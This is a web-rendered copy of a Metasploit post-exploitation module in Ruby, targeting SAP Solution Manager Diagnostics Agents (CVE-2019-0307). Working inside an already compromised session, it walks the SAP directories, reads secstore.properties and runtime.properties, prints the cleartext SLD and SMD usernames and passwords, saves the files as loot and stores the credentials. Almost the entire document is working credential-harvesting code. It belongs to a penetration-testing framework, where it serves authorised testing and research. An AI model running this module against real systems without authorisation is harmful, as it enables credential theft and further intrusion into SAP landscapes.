CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/post/multi/sap/smdagent_get_properties.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'resolv'
7
8
class MetasploitModule < Msf::Post
9
include Msf::Post::File
10
include Msf::Exploit::Local::SapSmdAgentUnencryptedProperty
11
12
SECSTORE_FILE = 'secstore.properties'.freeze
13
RUNTIME_FILE = 'runtime.properties'.freeze
14
15
WIN_PREFIX = 'c:\\usr\\sap\\DAA\\'.freeze
16
UNIX_PREFIX = '/usr/sap/DAA/'.freeze
17
18
WIN_SUFFIX = '\\SMDAgent\\configuration\\'.freeze
19
UNIX_SUFFIX = '/SMDAgent/configuration/'.freeze
20
21
def initialize(info = {})
22
super(
23
update_info(
24
info,
25
'Name' => 'Diagnostics Agent in Solution Manager, stores unencrypted credentials for Solution Manager server',
26
'Description' => %q{
27
This module retrieves the `secstore.properties` file on a SMDAgent. This file contains the credentials
28
used by the SMDAgent to connect to the SAP Solution Manager server.
29
},
30
'License' => MSF_LICENSE,
31
'Author' => [
32
'Yvan Genuer', # @_1ggy The researcher who originally found this vulnerability
33
'Vladimir Ivanov' # @_generic_human_ This Metasploit module
34
],
35
'Platform' => %w[bsd linux osx unix win],
36
'SessionTypes' => %w[meterpreter shell],
37
'References' => [
38
[ 'CVE', '2019-0307' ],
39
[ 'URL', 'https://conference.hitb.org/hitblockdown002/materials/D2T1%20-%20SAP%20RCE%20-%20The%20Agent%20Who%20Spoke%20Too%20Much%20-%20Yvan%20Genuer.pdf' ]
40
],
41
'Compat' => {
42
'Meterpreter' => {
43
'Commands' => %w[
44
stdapi_net_resolve_host
45
]
46
}
47
},
48
'Notes' => {
49
'Stability' => [CRASH_SAFE],
50
'SideEffects' => [IOC_IN_LOGS],
51
'Reliability' => []
52
}
53
)
54
)
55
end
56
57
def run
58
case session.type
59
when 'meterpreter'
60
meterpreter = true
61
else
62
meterpreter = false
63
end
64
case session.platform
65
when 'windows'
66
windows = true
67
instances = dir(WIN_PREFIX)
68
else
69
windows = false
70
instances = dir(UNIX_PREFIX)
71
end
72
73
if instances.nil? || instances.empty?
74
fail_with(Failure::NotFound, 'SAP root directory not found')
75
end
76
77
instances.each do |instance|
78
next if instance == 'SYS'
79
80
next if instance.include? ' '
81
82
next if instance.include? '.'
83
84
next if instance.include? 'tmp'
85
86
if windows
87
runtime_properties_file_name = "#{WIN_PREFIX}#{instance}#{WIN_SUFFIX}#{RUNTIME_FILE}"
88
secstore_properties_file_name = "#{WIN_PREFIX}#{instance}#{WIN_SUFFIX}#{SECSTORE_FILE}"
89
else
90
runtime_properties_file_name = "#{UNIX_PREFIX}#{instance}#{UNIX_SUFFIX}#{RUNTIME_FILE}"
91
secstore_properties_file_name = "#{UNIX_PREFIX}#{instance}#{UNIX_SUFFIX}#{SECSTORE_FILE}"
92
end
93
94
runtime_properties = parse_properties_file(runtime_properties_file_name, meterpreter)
95
secstore_properties = parse_properties_file(secstore_properties_file_name, meterpreter)
96
97
next if runtime_properties.empty?
98
99
print_line
100
print_status("Instance: #{instance}")
101
print_status("Runtime properties file name: #{runtime_properties_file_name}")
102
print_status("Secstore properties file name: #{secstore_properties_file_name}")
103
104
sld_protocol = nil
105
sld_hostname = nil
106
sld_address = nil
107
sld_port = nil
108
sld_username = nil
109
sld_password = nil
110
111
smd_url = nil
112
smd_username = nil
113
smd_password = nil
114
115
# Parse runtime.properties file
116
runtime_properties.each do |property|
117
if property[:name].include?('sld.')
118
case property[:name]
119
when /hostprotocol/
120
sld_protocol = property[:value]
121
when /hostname/
122
sld_hostname = property[:value]
123
when /hostport/
124
sld_port = property[:value]
125
end
126
elsif property[:name].include?('smd.')
127
case property[:name]
128
when /url/
129
smd_url = property[:value].gsub(/\\:/, ':')
130
end
131
end
132
end
133
134
# Parse secstore.properties file
135
secstore_properties.each do |property|
136
if property[:name].include?('sld/')
137
case property[:name]
138
when /usr/
139
sld_username = property[:value]
140
when /pwd/
141
sld_password = property[:value]
142
end
143
elsif property[:name].include?('smd/')
144
case property[:name]
145
when /User/
146
smd_username = property[:value]
147
when /Password/
148
smd_password = property[:value]
149
end
150
end
151
end
152
153
# Print SLD properties
154
if !sld_protocol.nil? || !sld_hostname.nil? || !sld_port.nil? || !sld_username.nil? || !sld_password.nil?
155
print_line
156
print_status('SLD properties:')
157
print_status("SLD protocol: #{sld_protocol}") unless sld_protocol.nil?
158
unless sld_hostname.nil?
159
print_status("SLD hostname: #{sld_hostname}")
160
if meterpreter
161
if sld_hostname =~ Resolv::IPv4::Regex
162
sld_address = sld_hostname
163
else
164
begin
165
sld_address = session.net.resolve.resolve_host(sld_hostname)[:ip]
166
print_status("SLD address: #{sld_address}")
167
rescue Rex::Post::Meterpreter::RequestError
168
print_error("Failed to resolve SLD hostname: #{sld_hostname}")
169
end
170
end
171
end
172
end
173
print_status("SLD port: #{sld_port}") unless sld_port.nil?
174
print_good("SLD username: #{sld_username}") unless sld_username.nil?
175
print_good("SLD password: #{sld_password}") unless sld_password.nil?
176
end
177
178
# Print SMD properties
179
if !smd_url.nil? || !smd_username.nil? || !smd_password.nil?
180
print_line
181
print_status('SMD properties:')
182
print_status("SMD url: #{smd_url}") unless smd_url.nil?
183
print_good("SMD username: #{smd_username}") unless smd_username.nil?
184
print_good("SMD password: #{smd_password}") unless smd_password.nil?
185
end
186
187
# Store decoded credentials, report service and vuln
188
print_line
189
if sld_username.nil? || sld_password.nil?
190
print_error("File #{secstore_properties_file_name} read, but this file is likely encrypted or does not contain credentials. This SMDAgent is likely patched.")
191
else
192
# Store decoded credentials
193
print_good('Store decoded credentials for SolMan server')
194
if sld_address.nil? || sld_port.nil?
195
service_data = {}
196
else
197
service_data = {
198
origin_type: :service,
199
address: sld_address,
200
port: sld_port,
201
service_name: 'http',
202
protocol: 'tcp'
203
}
204
# Report service
205
report_service(
206
host: sld_address,
207
port: sld_port,
208
name: 'http',
209
proto: 'tcp',
210
info: 'SAP Solution Manager'
211
)
212
end
213
store_valid_credential(
214
user: sld_username,
215
private: sld_password,
216
private_type: :password,
217
service_data: service_data
218
)
219
# Report vulnerability
220
if meterpreter
221
agent_host = Rex::Socket.getaddress(session.sock.peerhost, true)
222
else
223
agent_host = session.session_host
224
end
225
report_vuln(
226
host: agent_host,
227
name: name,
228
refs: references
229
)
230
end
231
end
232
end
233
234
def parse_properties_file(filename, is_meterpreter)
235
properties = []
236
if file_exist?(filename)
237
properties_content = read_file(filename)
238
if properties_content.nil?
239
print_error("Failed to read properties file: #{filename}")
240
else
241
if is_meterpreter
242
agent_host = Rex::Socket.getaddress(session.sock.peerhost, true)
243
else
244
agent_host = session.session_host
245
end
246
loot = store_loot('smdagent.properties', 'text/plain', agent_host, properties_content, filename, 'SMD Agent properties file')
247
print_good("File #{filename} saved in: #{loot}")
248
properties = parse_properties(properties_content)
249
end
250
else
251
print_error("File: #{filename} does not exist")
252
end
253
properties
254
end
255
256
end
257
258